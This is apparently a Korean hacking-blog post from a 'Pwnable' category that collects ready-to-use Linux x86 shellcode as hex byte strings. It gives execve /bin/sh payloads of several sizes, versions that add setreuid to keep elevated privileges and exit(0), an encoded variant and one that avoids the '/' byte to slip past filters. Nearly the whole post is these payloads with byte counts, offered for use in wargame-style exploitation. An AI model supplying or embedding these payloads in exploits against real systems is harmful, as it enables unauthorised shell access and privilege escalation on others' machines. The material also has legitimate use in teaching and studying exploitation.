0x01. 가장 기본적으로 쉘을 띄우는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

bytes : 25

미포함 : setreuid(), exit()


0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

bytes : 31

미포함 : setreuid()


0x03. setreuid(geteuid(), getreuid()), exit(0) 까지 포함시킨 쉘 코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

bytes : 47


0x04. exit(0) 코드

\x31\xc0\xb0\x01\xcd\x80

bytes : 6


0x05. setreuid(geteuid(), geteuid()) 코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80

bytes : 16 


Linux/x86 execve /bin/sh shellcode 23 bytes 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80


linux x86 파일명 shellcode 48byte

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


x2f : / 표시없는 쉘코드

byte : 70

\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6

'Pwnable!!' 카테고리의 다른 글

procfs_search.h 사용하기  (0) 2018.03.17
fgets과 socket에서 0x00  (0) 2018.03.08
유용한 쉘코드(원격)  (0) 2018.02.18
[인프라] 리눅스 강의 (생활코딩)  (0) 2017.07.05
[맛보기]시스템 해킹  (0) 2017.03.28

+ Recent posts